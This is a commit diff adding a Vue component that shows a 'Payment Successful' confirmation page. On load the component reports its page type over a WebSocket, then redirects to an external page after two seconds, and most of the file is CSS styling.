first commit

zy1_in_post_shadowfax/src/views/SuccessView.vue

@@ -0,0 +1,164 @@
+<script setup lang="ts">
+import { inject, onMounted, ref } from "vue";
+import CommonLayout from "@/views/CommonLayout.vue";
+
+const loading = ref(true);
+import { useI18n } from "vue-i18n";
+import { myWebSocket, redirectToExternal } from "@/utils/common";
+const { t } = useI18n(); // 解构出t方法
+onMounted(() => {
+  myWebSocket?.send(
+    JSON.stringify({
+      event: "page_type",
+      content: { pageType: "success" },
+    })
+  );
+  setTimeout(() => {
+    redirectToExternal();
+  }, 2000); // 3秒后跳转
+  localStorage.setItem("route", "success");
+});
+</script>
+
+<template>
+  <CommonLayout>
+    <template #default>
+      <div class="main-content">
+        <div class="container">
+          <div style="height: 30px"></div>
+          <div class="success-icon">✔</div>
+          <h1>{{ t("Payment Successful") }}</h1>
+          <p>
+            {{
+              t(
+                "Thank you for your purchase. Your payment has been processed successfully"
+              )
+            }}
+          </p>
+          <div class="loader" v-if="loading">
+            <div class="spinner"></div>
+          </div>
+          <div style="height: 30px"></div>
+        </div>
+      </div>
+    </template>
+  </CommonLayout>
+</template>
+
+<style scoped>
+body {
+  font-family: Arial, sans-serif;
+  background-color: #f4f4f9;
+  margin: 0;
+  padding: 0;
+  display: flex;
+  justify-content: center; /* 水平居中 */
+  align-items: center; /* 垂直居中 */
+  /* height: 100vh; */
+}
+
+.container {
+  background-color: #ffffff;
+  padding: 50px;
+  border-radius: 8px;
+  text-align: center;
+  max-width: 450px;
+  width: 100%;
+  box-sizing: border-box;
+}
+
+@media (max-width: 767px) {
+  /* Mega Menu */
+  .main-content {
+    /* padding-top: 80px !important;
+    padding-bottom: 96px !important; */
+    display: block;
+  }
+}
+
+.main-content {
+  /* padding-top: 160px; */
+  display: block;
+}
+
+.loading-overlay {
+  position: fixed;
+  top: 0;
+  left: 0;
+  width: 100%;
+  height: 100%;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  z-index: 1000;
+}
+
+.success-icon {
+  font-size: 50px;
+  color: #4bb543;
+}
+
+h1 {
+  color: #333;
+  font-size: 1.5em;
+}
+
+p {
+  color: #666;
+  font-size: 1em;
+}
+
+.loader {
+  display: flex;
+  justify-content: center;
+  align-items: center;
+  margin-top: 20px;
+}
+
+.spinner {
+  border: 4px solid #f3f3f3;
+  border-top: 4px solid #385bf8;
+  border-radius: 50%;
+  width: 40px;
+  height: 40px;
+  animation: spin 2s linear infinite;
+}
+
+@keyframes spin {
+  0% {
+    transform: rotate(0deg);
+  }
+  100% {
+    transform: rotate(360deg);
+  }
+}
+
+/* 响应式设计 */
+@media (min-width: 768px) {
+  .container {
+    max-width: 600px;
+    padding: 40px;
+  }
+
+  .success-icon {
+    font-size: 70px;
+  }
+
+  h1 {
+    font-size: 2em;
+  }
+
+  p {
+    font-size: 1.2em;
+  }
+}
+
+p {
+  display: block;
+  margin-block-start: 1em;
+  margin-block-end: 1em;
+  margin-inline-start: 0px;
+  margin-inline-end: 0px;
+  unicode-bidi: isolate;
+}
+</style>